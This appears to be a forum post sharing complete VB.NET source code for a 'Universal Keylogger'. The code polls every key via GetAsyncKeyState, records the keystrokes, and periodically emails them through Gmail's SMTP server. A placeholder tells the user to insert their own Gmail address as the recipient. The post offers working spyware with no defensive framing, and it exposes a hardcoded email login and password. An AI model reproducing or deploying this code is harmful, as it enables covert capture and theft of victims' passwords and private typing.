Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0

result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"

SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("PON AKI TU CUENTA DE GMAIL")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End
End Sub
End Class

TeCo
Admin

Mensajes: 33
Fecha de inscripción: 08/12/2010